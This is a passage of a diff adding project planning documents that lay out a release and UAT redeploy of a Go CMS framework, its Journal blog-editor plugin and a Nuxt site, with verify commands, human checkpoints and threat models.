<fails_when>Non-zero exit: the tag is not on origin, the scratch lockfile pins another commit, nuxt build fails, or an acme SSR expectation fails.</fails_when>
|
||||
<automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app && grep -q 'vue-journal-layer.git#v0.2.0' package.json && pnpm install --frozen-lockfile && pnpm build && pnpm test && test "$(git rev-parse HEAD)" = "$(git rev-parse origin/main)" && echo app-pin-ok</automated>
|
||||
<fails_when>Non-zero exit or "app-pin-ok" absent: the pin is missing, the lockfile is out of date, the build or a unit or SSR test fails, or the app commit was not pushed.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` prints a line, and check-git-install.sh v0.2.0 passes.
|
||||
- The app package.json pins #v0.2.0, pnpm-lock.yaml records the tag's commit, and app main equals origin/main.
|
||||
- The SUMMARY records the layer tag commit, the layer and app heads pushed.
|
||||
</acceptance_criteria>
|
||||
<done>vue-journal-layer v0.2.0 is published and installable, and the site app pins it on its pushed main.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Journal API content_html → site v-html | stored HTML (admin-written or imported) becomes page markup |
|
||||
| site page → youtube-nocookie.com | the visitor's browser loads a third-party frame |
|
||||
| executor → git origin | the layer tag and the app main are read by other builds |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
|
||||
| T-16.2-20 | Elevation of Privilege | gate order | high | mitigate | gateJournalHtml runs first and expandEmbeds only on safe output, so stored raw iframes are still refused; a test composes the two |
|
||||
| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy |
|
||||
| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
|
||||
| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: node tests ("# fail 0") and the playground SSR smoke pass.
|
||||
- Task 2: push-precheck-ok and a human decision.
|
||||
- Task 3: check-git-install v0.2.0 passes and the app pin builds, tests and is pushed.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-17: embeds render on the site through the layer, v0.2.0 is published and pinned in the app.
|
||||
- D-05: the gate is unchanged and still runs first.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md` when done, with the human reply, the tag commit, the pushed heads and the SSR smoke output.
|
||||
</output>
|
||||
@@ -0,0 +1,255 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 05
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
autonomous: false
|
||||
requirements: [D-02, D-03, D-05, D-07, D-17, D-18, D-19]
|
||||
user_setup:
|
||||
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
|
||||
why: "The executor holds no UAT basic-auth or admin credentials; a human re-saves imported posts untouched, edits a test post with the Blog Editor and checks the public page (D-03, D-05, D-17, D-18)"
|
||||
dashboard_config:
|
||||
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may publish"
|
||||
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
|
||||
estimate:
|
||||
tokens: 55000
|
||||
raw_tokens: 55000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "Release (16.1 D-04 pattern): an annotated summercms tag (v0.1.17, or the next free v0.1.x if the concurrent session tagged first) contains every plan 01 commit and is on origin; sm-journal-plugin main with plans 02 and 03 and a go.mod require of that tag is on origin; the host's plugins/golem15/journal and vue-grzybyfunkcjonalne-app gitlinks point at the pushed heads."
|
||||
- "Release: UAT runs a binary and Nuxt output built by scripts/build.sh from those heads; the server binary's sha256 equals the local build, both supervisor programs are RUNNING, the previous binary and Nuxt output are kept for rollback, and the on-server smoke ends with 'smoke: ok ('."
|
||||
- "D-03 and todo journal-imported-html-admin-resave on UAT: after a human saves post 64 (markdown with the raw author footer) and one HTML post without editing, md5(content), md5(content_html) and the md5 of their translation rows are unchanged."
|
||||
- "D-02, D-05 and D-18 on UAT: a test post edited in the Blog Editor with an uploaded image (alt and caption) and a YouTube embed stores content equal to content_html, containing data-embed=\"youtube\", a figcaption and an image URL under /storage/app/uploads/public/journal/posts/."
|
||||
- "D-17 on UAT: while the test post is published, its public page served on the server contains an iframe on https://www.youtube-nocookie.com/embed/."
|
||||
- "Release gate: the human chooses release-now or docker-first after seeing which Postgres suites could not run here and any open high finding of a code or security review."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/go.mod"
|
||||
provides: "nominal require of the release tag (the go.work replace to ../summercms.go stays)"
|
||||
contains: "git.golem15.com/golem15/summercms v0.1."
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
|
||||
to: "sm-journal-plugin origin/main"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "plugins/golem15/journal"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (gitlink)"
|
||||
to: "vue-grzybyfunkcjonalne-app origin/main pinning vue-journal-layer v0.2.0 (plan 04)"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "vue-grzybyfunkcjonalne-app"
|
||||
prohibitions:
|
||||
- statement: "The executor runs only SELECT queries on the UAT database; post data changes only through human admin saves."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched by the redeploy (Phase 16 D-10)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The executor never requests, prints, stores or commits a credential (UAT basic auth, admin password, server .env)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No pushed tag is moved or deleted; a defect after the push gets the next tag."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
|
||||
|
||||
Wave order: 01, 02 and 04 (wave 1), 03 (wave 2), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- summercms annotated tag `v0.1.17` (or the next free `v0.1.x`) on origin.
|
||||
- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
|
||||
- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps and the README admin note.
|
||||
- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
|
||||
- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, the md5 snapshot before the human saves.
|
||||
|
||||
<objective>
|
||||
Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-17 and D-18 on UAT with human admin actions and read-only checks.
|
||||
|
||||
Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
|
||||
Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
|
||||
|
||||
Release state at planning time: summercms latest tag v0.1.16; sm-journal-plugin pre-phase head 03907ee (go.mod requires v0.1.16); host journal gitlink a675f2f; vue-journal-layer v0.1.0 before plan 04.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Release gate: local checks green, tag chosen, UAT data split reported, a human approves the tag push and the UAT deploy</name>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md (how the last release ran), the four 16.2 plan SUMMARYs (commit hashes per repository, the Postgres tests still to run), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md and 16.2-SECURITY.md when present</read_first>
|
||||
<action>Do everything automatable and print a release sheet, then stop.
|
||||
|
||||
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
|
||||
|
||||
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.17 if nobody tagged after v0.1.16) and confirm with `git ls-remote --tags origin` that it does not exist yet.
|
||||
|
||||
Run the release gate (verify command). Then, read-only on UAT, report the D-07 split of the current data (assumption A1): ssh grzybyfunkcjonalne-uat psql -X -d grzybyfunkcjonalne -tAc with a SELECT counting golem15_journal_posts whose ltrim(content) starts with '<' (served as content) and those that do not (served as content_html).
|
||||
|
||||
Release sheet: the proposed or reused tag; commits to push per repository (summercms.go origin/master..HEAD including planning-doc commits, sm-journal-plugin origin/main..HEAD, the host's gitlink targets: sm-journal-plugin HEAD and the vue-grzybyfunkcjonalne-app commit plan 04 pushed); the UAT HTML/markdown split; the Postgres suites that cannot run here (modules/cabana testcontainers suites; the sm-journal-plugin root harness including TestPostsFormCompiles, TestPostsAdminCreateSmoke and TestPostsAdminResaveKeepsHTML; ./models); open high findings from 16.2-REVIEW.md or 16.2-SECURITY.md if those files exist (an open high finding means only docker-first or hold may be chosen, per security_block_on high); the deploy steps from DEPLOY.md "Release" plus keeping build/nuxt/.output.prev on the server; the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back and restart both programs). Stop for the human.</action>
|
||||
<decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
|
||||
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact field-type API (D-12, one-way); it cannot be moved, only superseded. The save-path code is covered here by DryRun and unit smoke tests only; the real-database proof is the UAT acceptance in Task 3, with the previous binary and Nuxt output kept for rollback. Plan 06 adds full unit coverage after the release (lean rule 3).</context>
|
||||
<options>
|
||||
<option id="release-now">
|
||||
<name>Release now with the proposed tag</name>
|
||||
<pros>UAT gets the Blog Editor immediately; Task 3 exercises the save path on the real imported data; rollback is two moves and a restart</pros>
|
||||
<cons>The Postgres suites run later, on a Docker host; a defect found then needs the next tag</cons>
|
||||
</option>
|
||||
<option id="docker-first">
|
||||
<name>Run the Docker-host suites first, then release</name>
|
||||
<pros>The testcontainers suites in summercms.go and sm-journal-plugin, including TestPostsAdminResaveKeepsHTML with exact bytes, run before the tag is pushed</pros>
|
||||
<cons>Needs a Docker-enabled machine and delays UAT</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the release</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>UAT keeps the markdown field and the 16.1 stopgap</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6 && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin test && bash scripts/check-admin-dist.sh && bash scripts/check-admin-openapi.sh --check && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana smoke set, a journal classes or controllers test fails, TestDocsTree fails, a vitest suite fails, or a dist or OpenAPI drift gate reports stale output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
|
||||
- The SUMMARY records the release sheet (tag, commits per repository, UAT split counts, suites not run, review findings) and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes; snapshot the posts the human will re-save</name>
|
||||
<reversibility rating="one-way">A pushed annotated summercms tag publishes the pact field-type API to other repositories' go.mod and the Go module proxy; it can only be superseded.</reversibility>
|
||||
<precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, plan 04 pushed vue-grzybyfunkcjonalne-app main pinning v0.2.0, and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app, ../sm-grzybyfunkcjonalne-app/README.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke), ../sm-grzybyfunkcjonalne-app/README.md (Admin section), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
|
||||
<action>Framework: unless Task 1 recorded an existing tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: plugin-registered admin form field types (pact.HasFormFieldTypes), field upload route, admin SPA plugin fields", then git push origin master and git push origin "$RELEASE_TAG".
|
||||
|
||||
sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the go.work replace stays, so the require is nominal); go -C ../sm-journal-plugin vet ./...; commit go.mod only as "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this publishes plans 02 and 03).
|
||||
|
||||
Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab) and that saving an untouched post keeps its stored HTML. Commit both gitlinks and README.md as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.
|
||||
|
||||
Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh. Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
|
||||
|
||||
Release per DEPLOY.md "Release": on the server first cp -a build/nuxt/.output build/nuxt/.output.prev; rsync the binary to bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env); compare the sha256 of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; bin/grzybyfunkcjonalne migrate (no new migration in this phase; must exit 0); record RESTART_TS as the server's date +'%Y/%m/%d %H:%M:%S'; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt. Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
|
||||
|
||||
Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY.</action>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
|
||||
<fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
|
||||
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev && test -d /srv/grzybyfunkcjonalne/go/build/nuxt/.output.prev' && echo deploy-ok</automated>
|
||||
<fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, the tag is missing on origin, or a rollback copy is missing on the server.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
|
||||
- `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed sm-journal-plugin main and vue-grzybyfunkcjonalne-app main commits, and the host master equals origin/master.
|
||||
- The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
|
||||
- The SUMMARY records the tag, the pushed heads, both sha256 values, RESTART_TS, HTML_POST and the md5 snapshot; no credential appears in it.
|
||||
</acceptance_criteria>
|
||||
<done>UAT runs the released Blog Editor and embed rendering from pushed tags and branches, every smoke URL passes, and the pre-save snapshot is recorded.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 3: UAT acceptance: untouched re-saves are byte-identical; a Blog Editor edit stores HTML in both columns with an uploaded image and an embed that renders on the site</name>
|
||||
<precondition>Task 2 printed deploy-ok; RESTART_TS, HTML_POST, SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS are set in the session and recorded in the SUMMARY.</precondition>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback), this plan's SUMMARY (snapshot)</read_first>
|
||||
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
|
||||
|
||||
Human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) open post 64 (ekstrakt-z-turkey-tail, a markdown post with the raw author footer) and post HTML_POST; on each press "Zapisz" without touching the editor (D-03). (2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text and a caption, and a YouTube embed from a youtube.com URL; save (D-02, D-05, D-18). (3) Publish it for the check, then reply. (4) In the source tab of the test post type a script tag and save: the field shows the refusal message and nothing is stored (D-10); remove it again.
|
||||
|
||||
After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>
|
||||
<instructions>
|
||||
Claude deployed the release and passed the on-server smoke in Task 2, and recorded a checksum snapshot of post 64 and post HTML_POST.
|
||||
The human logs in to the UAT admin (basic-auth realm plus an admin account), performs steps 1 to 4 and replies.
|
||||
</instructions>
|
||||
<verification>Read-only psql on the server compares the snapshot and checks the test post's stored HTML; an on-server curl checks the public page for the youtube-nocookie iframe; the Go log since RESTART_TS has no panic or SQLSTATE line.</verification>
|
||||
<resume-signal>Type "saved and published" once steps 1 to 3 are done (and the step 4 result), or describe what went wrong.</resume-signal>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (64, $HTML_POST) ORDER BY id\"" | diff - <(printf '%s\n' "$SNAPSHOT_POSTS") && echo posts-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "posts-unchanged" absent: an untouched save changed content or content_html of post 64 or HTML_POST (SNAPSHOT_POSTS holds the Task 2 rows in the same id:md5:md5 format).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('64', '$HTML_POST') ORDER BY model_id, locale\"" | diff - <(printf '%s\n' "$SNAPSHOT_TRANSLATIONS") && echo translations-unchanged</automated>
|
||||
<fails_when>Non-zero exit or "translations-unchanged" absent: an untouched save added, removed or changed a translation row of the two posts (for example empty en values).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (content = content_html)::int || ':' || (content LIKE '%data-embed=_youtube_%')::int || ':' || (content LIKE '%<figcaption%')::int || ':' || (content LIKE '%/storage/app/uploads/public/journal/posts/%')::int FROM golem15_journal_posts WHERE slug = 'uat-16-2-blog-editor'\"" | grep -qx '1:1:1:1' && echo edit-ok</automated>
|
||||
<fails_when>Non-zero exit or "edit-ok" absent: the test post is missing, content differs from content_html, or it lacks the embed placeholder, the figcaption or an uploaded image URL under journal/posts.</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; CURL_HOME="$C" curl -s https://uat.grzybyfunkcjonalne.pl/blog/uat-16-2-blog-editor; rm -rf "$C"' | grep -c 'src="https://www.youtube-nocookie.com/embed/' | grep -qv '^0$' && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) >= since' | grep -ciE 'panic|SQLSTATE' | grep -qx 0 && echo site-ok</automated>
|
||||
<fails_when>Non-zero exit or "site-ok" absent: the public page of the test post has no youtube-nocookie iframe (the layer did not expand the placeholder, or the page is not reachable because the post is not published), or the Go log has a panic or SQLSTATE line after RESTART_TS.</fails_when>
|
||||
<human-check>In the admin (D-19): open a category with content, change one word in the Blog Editor and save; the category page on the site shows the change. Open post HTML_POST, switch to the source tab: it shows the stored HTML exactly as before. Reply "UAT approved" or list the issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- posts-unchanged, translations-unchanged, edit-ok and site-ok are printed.
|
||||
- The SUMMARY records the human's replies, the step 4 refusal result, the human-check answer (or marks it pending for /msd-verify-work), and that the test post was unpublished or deleted afterwards.
|
||||
</acceptance_criteria>
|
||||
<done>Untouched saves of imported posts are byte-identical on UAT, and a Blog Editor edit with an upload and an embed is stored in both columns and renders on the site.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
|
||||
| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
|
||||
| human admin → UAT admin | the only path that writes post data in this plan |
|
||||
| server .env files → processes | secrets live only on the server |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
|
||||
| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
|
||||
| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
|
||||
| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
|
||||
| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 printed release-gate-ok and a human chose a release option.
|
||||
- Task 2: "smoke: ok (" and deploy-ok.
|
||||
- Task 3: posts-unchanged, translations-unchanged, edit-ok and site-ok.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Tag, plugin and host bumps pushed; UAT redeployed per DEPLOY.md with rollback copies; on-server smoke passes.
|
||||
